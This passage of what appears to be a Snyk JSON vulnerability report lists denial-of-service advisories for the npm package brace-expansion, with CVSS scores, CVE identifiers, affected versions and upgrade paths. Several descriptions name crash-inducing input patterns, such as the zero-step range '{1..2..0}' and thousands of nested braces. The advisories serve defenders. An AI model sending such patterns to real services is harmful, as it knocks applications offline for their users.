"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
